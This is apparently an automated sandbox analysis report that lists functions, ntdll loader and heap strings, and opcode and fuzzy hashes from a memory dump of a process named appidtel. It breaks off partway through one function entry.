Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
API String ID: 0-1391187441
Opcode ID: 1651c6ebb7213cb7267dbf0b703444234fc95f6c676e06875b6d5dd2b31f8de6
Instruction ID: b1d3eb9c4f2b8d4fa6eb9d7190ac7dbb7d411115d47f758c2a945476cf380817
Opcode Fuzzy Hash: 1651c6ebb7213cb7267dbf0b703444234fc95f6c676e06875b6d5dd2b31f8de6
Instruction Fuzzy Hash: 6C319236600204EFDB11DB99C885FAEB7F8EF45660F1440A5F914EB291E774E980CB61

Function 03910770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 039650BD
HEAP[%wZ]: , xrefs: 039650AE
(UCRBlock->Size >= *Size), xrefs: 039650CA

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: 77882155d06f7769e4c3654cf9fd7fc27cf4c1925f3a3e8447d50819056b9567
Instruction ID: 3c6e37aec19018687f6bc3f948f64cb17004eca8e26131e253b0695e85fa5786
Opcode Fuzzy Hash: 77882155d06f7769e4c3654cf9fd7fc27cf4c1925f3a3e8447d50819056b9567
Instruction Fuzzy Hash: F3F1DC34B01609DFEB15CF68C894B6AB7F9FF85340F1985A8E416AB381D731E991CB90

Function 0390B6C0 Relevance: 4.1, Strings: 3, Instructions: 303COMMON

Download Yara Rule

Strings

LdrResGetRCConfig Enter, xrefs: 0390B702
MUI, xrefs: 0390B6D8, 0390B7E7
LdrResGetRCConfig Exit, xrefs: 0390B714

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI
API String ID: 0-1145731471
Opcode ID: ff0cbc695c464e00f1d358b4dfd08aac3d0b33bc8629f32f88b3fb985b945d39
Instruction ID: 56fd1a60bcd35bd91e1038ec89ad84c7ca8ef6c96f9cd568c6728daf47215410
Opcode Fuzzy Hash: ff0cbc695c464e00f1d358b4dfd08aac3d0b33bc8629f32f88b3fb985b945d39
Instruction Fuzzy Hash: 7FB1C339A157059FDB25CF59C9C0BADB7BABF84754F18492AE851EB7A0D730E840CB40

Function 0398368C Relevance: 4.0, Strings: 3, Instructions: 292COMMON

Download Yara Rule

Strings

DelegatedNtdll, xrefs: 039836CE
\SystemRoot\system32\, xrefs: 03983842
@, xrefs: 0398389F

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: @$DelegatedNtdll$\SystemRoot\system32\
API String ID: 0-2391371766
Opcode ID: d5ddb632446c0e644b0561953fec2d3d798366557e14ce48ec156a8e0d759265
Instruction ID: 769da98a4be77be6bcdc451c33382b7508b99fe459a555a11faea3b6b57d2ccd
Opcode Fuzzy Hash: d5ddb632446c0e644b0561953fec2d3d798366557e14ce48ec156a8e0d759265
Instruction Fuzzy Hash: 3CB18E7A608345AFE711EF54C8C0F6BB7E8FB84B50F050929FA51AB290D775E844CB92

Function 038FA197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

FilterFullPath, xrefs: 0395C2E6
UseFilter, xrefs: 038FA1C1
\??\, xrefs: 0395C1E4

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: efd19eb7e26b87fef0971d0cf8255bfe64f2b3c44a5b1eb8a2f7af11297fef22
Instruction ID: ed7ac4c20401b8fe55a5ff6716181e183c56eee8176113f24d2c2b2fbeeefd74
Opcode Fuzzy Hash: efd19eb7e26b87fef0971d0cf8255bfe64f2b3c44a5b1eb8a2f7af11297fef22
Instruction Fuzzy Hash: 2AA15A769116299BDB31DF64CC88BAAB7B8EF44710F1401EAE909EB250E7359EC4CF50

Function 039936EE Relevance: 4.0, Strings: 3, Instructions: 236COMMON

Download Yara Rule

Strings

LdrpResMapFile Exit, xrefs: 03993727
LdrpResMapFile Enter, xrefs: 03993715
@, xrefs: 03993867

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
API String ID: 0-318774311
Opcode ID: 9ef22028fb96af7a3a48ca5d513fa654addd78c7497c0b4e390796095c541798
Instruction ID: ec6143a6f5d2565f3e31eea0d0545e601098f7610b93821d65fcb5552c38cbf4
Opcode Fuzzy Hash: 9ef22028fb96af7a3a48ca5d513fa654addd78c7497c0b4e390796095c541798
Instruction Fuzzy Hash: 65818A79608341AFEB11DF19C884B6AB7E8FF85790F08096AB9919B390D774D9048B62

Function 0393909C Relevance: 3.9, Strings: 3, Instructions: 199COMMON

Download Yara Rule

Strings

%, xrefs: 03975D3F
&, xrefs: 03975CF8
@, xrefs: 03939148

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: %$&$@
API String ID: 0-1537733988
Opcode ID: ff0c13d774fac8428989185a02d353e9c83c3369f8de9f63f66e1e4bb9804283
Instruction ID: 2b1e086d49724587b9a075b793ae95bbd5f9638a370b69756035d24e08acd693
Opcode Fuzzy Hash: ff0c13d774fac8428989185a02d353e9c83c3369f8de9f63f66e1e4bb9804283
Instruction Fuzzy Hash: 7571BDB560C7019FC750DF24C580B6BFBE9BFC6648F18891DE49A9B290C7B0D805CB92

Function 039DB73C Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

\Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 039DB82A
TargetNtPath, xrefs: 039DB82F
GlobalizationUserSettings, xrefs: 039DB834

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
API String ID: 0-505981995
Opcode ID: a45e0be7b32cef9a6fb16c52d217138a1cd89911219ab556771e6ffc5541ca1e
Instruction ID: c52924c39031583f622ce258717cd9353b7c98b9082660ad80febd772bd4fb16
Opcode Fuzzy Hash: a45e0be7b32cef9a6fb16c52d217138a1cd89911219ab556771e6ffc5541ca1e
Instruction Fuzzy Hash: 6C61BC36D0122CAFDB20DF54CC89BDAB7B8AF44754F0241E9A909AB250CB749E80CF90

Function 038FF7BA Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 0395E6C6
HEAP: , xrefs: 0395E6B3
HEAP[%wZ]: , xrefs: 0395E6A6

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 0-1340214556
Opcode ID: 73b0c84f060525e79d7da84f23fd3ab44b38ccbbb7461d724c8913ef7f070568
Instruction ID: 5e00686b9ba5385738f69579be07fb8e229badfa6eb6858d01b2cae1618256f3
Opcode Fuzzy Hash: 73b0c84f060525e79d7da84f23fd3ab44b38ccbbb7461d724c8913ef7f070568
Instruction Fuzzy Hash: A1511839614748EFD712DBA8C984B9ABBF8EF05744F0800E5EA41CB652D374EA51CB10

Function 0393C720 Relevance: 3.9, Strings: 3, Instructions: 141COMMON

Download Yara Rule

Strings

Failed to reallocate the system dirs string !, xrefs: 039782D7
minkernel\ntdll\ldrinit.c, xrefs: 039782E8
LdrpInitializePerUserWindowsDirectory, xrefs: 039782DE

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 0-1783798831
Opcode ID: 111859467fbaade806382e9ec6e7a2001718360e8fcfb2d66ace130536d2e655
Instruction ID: 21eb7ecfa071cdaf8d2c15ec7e1c7e4e376cd16bbd0202f7f7c5c504d5481973
Opcode Fuzzy Hash: 111859467fbaade806382e9ec6e7a2001718360e8fcfb2d66ace130536d2e655
Instruction Fuzzy Hash: F44102B5508704AFC720FB68D845B5B77ECEF85790F04482AF945EB294EB74D800CB91

Function 039316CF Relevance: 3.9, Strings: 3, Instructions: 127COMMON

Download Yara Rule

Strings

TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 03971B39
minkernel\ntdll\ldrtls.c, xrefs: 03971B4A
LdrpAllocateTls, xrefs: 03971B40

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
API String ID: 0-4274184382
Opcode ID: f5a13e2d2cdd805904f7b58bb8b1e8528891f1dde7f05a438485afdc57516254
Instruction ID: 24c85d40b99056e59de6c211bfcdd85ffcb2ce193a685406bf8d5a099cefd788
Opcode Fuzzy Hash: f5a13e2d2cdd805904f7b58bb8b1e8528891f1dde7f05a438485afdc57516254
Instruction Fuzzy Hash: 7C417CB9A00709EFDB15EFA8C881AADFBF5FF89704F054119E406AB250D774A900CB90

Function 039BC188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON

Download Yara Rule

Strings

PreferredUILanguages, xrefs: 039BC212
@, xrefs: 039BC1F1
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 039BC1C5

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 0-2968386058
Opcode ID: c99800fa6485dc65a9c1b53bc49c20a042ea862893922eb5e61ac490b90d633b
Instruction ID: 61bb43f2347f4c82dca11f5f4d1da8dadd06ebbd0414d33d463ebaee1bd7f26a
Opcode Fuzzy Hash: c99800fa6485dc65a9c1b53bc49c20a042ea862893922eb5e61ac490b90d633b
Instruction Fuzzy Hash: 67416D76E00209AFDB11DBD8C981FEEB7BCAB54740F14406AEA45F7290D774DA458FA0

Function 03994144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

@, xrefs: 03994225
LdrpResValidateFilePath Enter, xrefs: 03994160
LdrpResValidateFilePath Exit, xrefs: 03994172

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
API String ID: 0-1373925480
Opcode ID: 4dad443cbd53f910c879caa8183705f2a880dd5ec5f03d5a6a1ec3088ae0a321
Instruction ID: 48a7cceab8216865f8359bc85213a0b636e1a84962298807a0986c92935ac1c2
Opcode Fuzzy Hash: 4dad443cbd53f910c879caa8183705f2a880dd5ec5f03d5a6a1ec3088ae0a321
Instruction Fuzzy Hash: 3041D3369007588BEF22DBDAC940BADB7B9FF95380F18045AD901EF791D7358902CB10

Function 03984755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 03984888
LdrpCheckRedirection, xrefs: 0398488F
minkernel\ntdll\ldrredirect.c, xrefs: 03984899

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 0-3154609507
Opcode ID: e7bd0fd6f100f2d4e0e03cebee51032dfe02c3c6897ba1df2c8445d915765102
Instruction ID: a84bad0536da4b6694b8bdee27c87e5a1368392253caa43de1abfe8b68d2e80c
Opcode Fuzzy Hash: e7bd0fd6f100f2d4e0e03cebee51032dfe02c3c6897ba1df2c8445d915765102
Instruction Fuzzy Hash: 6C418336A047529FCB21EF5AD840A26B7E9EFC9790F0909A9EC55DB355E730E800CB91

Function 039333A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON

Download Yara Rule

Strings

Actx , xrefs: 039333AC
SXS: %s() passed the empty activation context data, xrefs: 039729FE
RtlCreateActivationContext, xrefs: 039729F9

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
API String ID: 0-859632880
Opcode ID: ea8822309fb76148eb789a6730a8e838b472b2b0059785fd983fcb5da88cf449
Instruction ID: 0c210a0961723e79cab44480fe1842d5b1cec7443d3e96b7dfae83dd48b0fb2e
Opcode Fuzzy Hash: ea8822309fb76148eb789a6730a8e838b472b2b0059785fd983fcb5da88cf449
Instruction Fuzzy Hash: 103166366503059FEB26DF68C8C4F96B7A9EB85750F094869FD04DF282C730D841C790

Function 03931607 Relevance: 3.8, Strings: 3, Instructions: 98COMMON

Download Yara Rule

Strings

DLL "%wZ" has TLS information at %p, xrefs: 03971A40
minkernel\ntdll\ldrtls.c, xrefs: 03971A51
LdrpInitializeTls, xrefs: 03971A47

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
API String ID: 0-931879808
Opcode ID: 13e0f3cb7e6c06685f993cb5d11dea6546123cec5bd6e907b2b4c83a7c07f62e
Instruction ID: 5ef27c1636b10faf9583bd96349617a12f116c53e40a122057523b97c372fae2
Opcode Fuzzy Hash: 13e0f3cb7e6c06685f993cb5d11dea6546123cec5bd6e907b2b4c83a7c07f62e
Instruction Fuzzy Hash: 513138B2A40300AFE710FB88CC45F6A7BBCFB87788F060069E505AB1A4D774AD048790

Function 03941270 Relevance: 3.8, Strings: 3, Instructions: 97COMMON

Download Yara Rule

Strings

BuildLabEx, xrefs: 0394130F
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0394127B
@, xrefs: 039412A5

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 0-3051831665
Opcode ID: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
Instruction ID: 0bed1174f44dfe272d2253a0198a8f02edcc10999ed44094850b730e569bf65b
Opcode Fuzzy Hash: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
Instruction Fuzzy Hash: F0318D7690061DBBDF11EF95CC44EAEBBBDEB85750F004425F914AB2A0E730DA458BA4

Function 039820DE Relevance: 3.8, Strings: 3, Instructions: 41COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 03982104
Process initialization failed with status 0x%08lx, xrefs: 039820F3
LdrpInitializationFailure, xrefs: 039820FA

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 0-2986994758
Opcode ID: 6937a266a8c7bd50f28fb01fb054059940fc40122757b2addfb2d3d5ea870261
Instruction ID: eeebc5fcbc0bd1a78924bcfaa32d177476c33ea3e44cf4e540dcb913743eb4a1
Opcode Fuzzy Hash: 6937a266a8c7bd50f28fb01fb054059940fc40122757b2addfb2d3d5ea870261
Instruction Fuzzy Hash: BAF0C275640308BFE724FB8CCC46FAA776CEB81B94F540495F640AB685D6B4E940CA91

Function 039103E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 03964D8A

Strings

#%u, xrefs: 03964D82

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID: ___swprintf_l
String ID: #%u
API String ID: 48624451-232158463
Opcode ID: bb0863598aef2dea898aba14531357d7bca7a45ea0b5abad555d0938bcdefa52
Instruction ID: fb415ec6c7753597bd6bc83d23e7a17d0bb0d71ea5dc0a67d596c3e1d8146bf8
Opcode Fuzzy Hash: bb0863598aef2dea898aba14531357d7bca7a45ea0b5abad555d0938bcdefa52
Instruction Fuzzy Hash: FB715976A012099FCB01DFA9C990FAEB7B8EF48344F154065E905EB391EB34ED51CBA0

Function 039152A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON

Download Yara Rule

Strings

@, xrefs: 03915445
@, xrefs: 039155A3

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 4eac5fd003954bf0f7af0c69ee3f3c79e3d4281bbfbedb3226b513128d6daada
Instruction ID: 9e4de4acd0c01d8e813ce16957e60484e1312d4ba134e48896e693adc8e3b65a
Opcode Fuzzy Hash: 4eac5fd003954bf0f7af0c69ee3f3c79e3d4281bbfbedb3226b513128d6daada
Instruction Fuzzy Hash: 6A32AB755083198BC724DF18C490B3EB7E9EFC6780F1A491EF995AB290E774D860CB92

Function 039CA352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON

Download Yara Rule

Strings

`, xrefs: 039CA44B
`, xrefs: 039CA551

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction ID: f7a2af8144fb4f0da19ff9d7070467ad0840c466b9e1fcc7e98f103f6aa3ec2d
Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction Fuzzy Hash: 68C1D23122438A9BD724CF28C845B6BFBE9BFC4358F088A2DF595CA291D774D505CB52

Function 0397E6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

UEFI, xrefs: 0397E751
Legacy, xrefs: 0397E75A

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: 7e7b821d774ca1c990a52b050078f87fb6de3ef9af323b514c73ff03e5da2786
Instruction ID: e7aa92a3d3428908ae9b8999765ccc3ef45cca88cecd7b0f5702b5e7e0439774
Opcode Fuzzy Hash: 7e7b821d774ca1c990a52b050078f87fb6de3ef9af323b514c73ff03e5da2786
Instruction Fuzzy Hash: 0D614B71E007199FDB24DFA8C840BAEBBB9FB48740F1444ADE659EB291D731A940CB90

Function 0391F720 Relevance: 2.7, Strings: 2, Instructions: 159COMMON

Download Yara Rule

Strings

$, xrefs: 0391F860
$, xrefs: 0391F7F6

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: $$$
API String ID: 0-233714265
Opcode ID: 1f12265762c4c361df53896bd828cc39213bc40c6109f991f6307be3c4bf5d47
Instruction ID: 2abf9fa47b6421fb365d22618a924f6f94feca5572e0a3cffa1f7ccc42fe6f1d
Opcode Fuzzy Hash: 1f12265762c4c361df53896bd828cc39213bc40c6109f991f6307be3c4bf5d47
Instruction Fuzzy Hash: C961CC76A0074DDFDB21EFA4C580BADB7B5FF84304F1845A9D516AB680CB74A951CB40

Function 0390A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

RtlpResUltimateFallbackInfo Exit, xrefs: 0390A309
RtlpResUltimateFallbackInfo Enter, xrefs: 0390A2FB

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-2876891731
Opcode ID: 653e90341142e480cfaacd89dabd1fb8ea14373e6dbefa33af31c9e0e970287b
Instruction ID: ad893c8c773585bc98f1dc9e643a12bfa51442b1807dd16d0037a54f1ab99eda
Opcode Fuzzy Hash: 653e90341142e480cfaacd89dabd1fb8ea14373e6dbefa33af31c9e0e970287b
Instruction Fuzzy Hash: 9E41AE35A05749DFCB15CF69C480B69B7B8EF86780F1844A9EC40DB291E335D900CB90

Function 039A705E Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

9], xrefs: 039A71C6
kLsE, xrefs: 039A70A4

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: 9]$kLsE
API String ID: 0-3511970364
Opcode ID: 1dbe50b4c48f7678aca14d2fedd52e944615fc05f1bd1c5a51d87e22169a88c8
Instruction ID: 5a3adb11583bc2f1c97f88c7ba7c691ccfa08c7f5d22202c036cff278d98561b
Opcode Fuzzy Hash: 1dbe50b4c48f7678aca14d2fedd52e944615fc05f1bd1c5a51d87e22169a88c8
Instruction Fuzzy Hash: 264149325097514EE720FBE8E886B6A7FD8EB807A8F18061CEC508E1C9C7754881C7D1

Function 0393329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

@, xrefs: 0393330D
.Local\, xrefs: 039332B5

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: .Local\$@
API String ID: 0-380025441
Opcode ID: 980625ba91ca862319d1cb7870354a02f084d533b0b3628fab68482707a4af65
Instruction ID: 8eac505fc069a5d2a78ffafb66edd12e6e1f96a1e5fc707529484d32b7bca767
Opcode Fuzzy Hash: 980625ba91ca862319d1cb7870354a02f084d533b0b3628fab68482707a4af65
Instruction Fuzzy Hash: 9031A1BA5483049FD310DF28C4C0A5BBBE8FBC6694F88492EF99587250DA31DD04CB93

Function 0390C7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON

Download Yara Rule

Strings

MUI, xrefs: 0390C8C3, 0390CA40

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: ef4def743b075404b4e22b9e9698584ff773f9ece952a684bf53091d2be8333e
Instruction ID: 51b54d931abdb0b579e5e7685d08f5c8370282177c6136baa72ff60c7ec809be
Opcode Fuzzy Hash: ef4def743b075404b4e22b9e9698584ff773f9ece952a684bf53091d2be8333e
Instruction Fuzzy Hash: 69823A75E002199FDB24CFA9C980BADF7B9BF48750F188669E859AB390D7309D81CF50

Function 03907370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1710604158db7a5f7992b01a70d50a1c8d5d89dcabeee353f7a1e968f8b1aef
Instruction ID: 76950b36d76a2fee968363945dbdd6846bf3a087bf357080a8785602bc11fe03
Opcode Fuzzy Hash: b1710604158db7a5f7992b01a70d50a1c8d5d89dcabeee353f7a1e968f8b1aef
Instruction Fuzzy Hash: 9CA16A75608741DFC720DFA8D480A2ABBFAFF88354F14496EE5859B390E730E945CB92

Function 0393F603 Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7eb6d816d727f9310da5bf8c4c98bd73b73dbb2aef13249eb3ad3dc69f67df9
Instruction ID: c1849f5ead4508d6e1e204072513a38c53d5766196b21795cf9f8c36536fde61
Opcode Fuzzy Hash: d7eb6d816d727f9310da5bf8c4c98bd73b73dbb2aef13249eb3ad3dc69f67df9
Instruction Fuzzy Hash: C9411AB4D01388AFDB20DFA9C880AADFBF8FB49344F14416EE599AB211D7309945CF60

Function 0390973A Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

@, xrefs: 039097F3

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
Instruction ID: 28d33be4e92ab890e48ffb3dbf25544d562f8c3d8f2b5484af26d04a0247f3a5
Opcode Fuzzy Hash: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
Instruction Fuzzy Hash: DF615C75D01219AFDF21DFA9C880BAEFBB8FF84750F144969E911B72A0D7749A00CB60

Function 0398F7AF Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

@, xrefs: 0398F867

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

